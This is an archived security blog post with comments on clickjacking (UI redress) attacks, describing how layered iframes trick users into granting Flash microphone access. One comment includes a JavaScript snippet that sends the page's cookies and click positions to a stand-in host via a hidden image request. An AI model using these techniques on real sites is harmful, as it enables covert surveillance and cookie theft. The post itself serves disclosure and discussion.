More Advanced Clickjacking - UI Redress Attacks

This will be a quick post just to share some POCs and more information regarding the recent Clickjacking technique, i.e. UI Redress Attack, a name suggested by Michael Zalewski.

Clickjacking is an oldie but, a goodie. You can track the origin of the attack back at the beginning of this decade. Clickjacking is essentially the anti-CSRF killer. It is also the killer of Flash, AJAX (because AJAX apps are sometimes easier to clickjack, look at Google) and some other technologies. "Clickjacking" is perhaps not the perfect name to depict this class of attacks but it is a cool one.

The picture that you see in this post is basically a UI redress attack against Flash. It works flawlessly on Ubuntu with the latest Firefox, Flash and the latest NoScript with the applied fixes against the clickjacking technique, i.e. ClearClick. I do not know why it works but it works. Btw, the POC that you've probably seen to circulate in the last couple of days does not work on my setup.

The attack depicted here is very, very simple. All I do is UI redressing an evil iframe with preloaded malicious Flash file. In order to do that I use blank, absolute positioned iframes. At the end I color the entire page with the same color the standard Flash security dialog is using for displaying security messages. As you can see the user cannot do anything else but to click the allow button, upon which the attacker will start surveying the sound of the room the victim currently occupies.

The solution for Flash is very simple. Show pop-up dialogs just like the ones used by signed Java applets, but make them more informational. Keep in mind though, that this solution can be abused to create rather annoying situations.

You can download my POCs from here and here.

Archived Comments

unwiredbrain

Little point of interest: an attacker could be very interested in where the victim clicked. I mean: placing the attack on multiple elements can give to the attacker informations about page "hot spots" i.e. where the people most commonly click, allowing them to profile a better attack, according to the user feedback. Here's the code:

var request = "http://www.example.com/collectingDataScript.jpg?l=" 
        + escape(document.location) + "&c=" + escape(document.cookie) + "&x=" 
        + c.x + "&y=" + c.y;

var clickLogger = document.createElement("img");
    clickLogger.setAttribute("style", "position:absolute;left:-9999px;width:0;height:0;");
    clickLogger.setAttribute("src", request);

If you're using Firebug, you'll see in the Net panel the requests the script makes. Going a little further, in HTML 5 frames can send messages to each other [1], so there will be no more need to use a double click: the inline frame will only have to watch for messages from the hosting window! [1] http://it.youtube.com/watch?v=xIxDJof7xxQ -- from 05:40 to 15:20

mindcorrosive

I never knew that it was *that* easy.. Though you could probably mask the suspicious Flash-UI "Allow" button with an UI element as well, for maximum user frustration..

Mr.V

I'm getting noscript's clicjacking warning every time I try to open google images :( help.

gnucitizen reader

is it just me or any of your pocs are prepared to be functional?

pdp

the pocs are fully functional. they have been verified by a few close friends. unwiredbrain, you are absolutely right. I could have made the event bubble but a POC is a POC and nothing more :)

unwiredbrain

pdp, yeah, my biggest interest was pointing out that in the next HTML specification things about clickjacking will be easier than ever to set up. The where-victim-clicked stuff was my POC of your POC ;-) :-P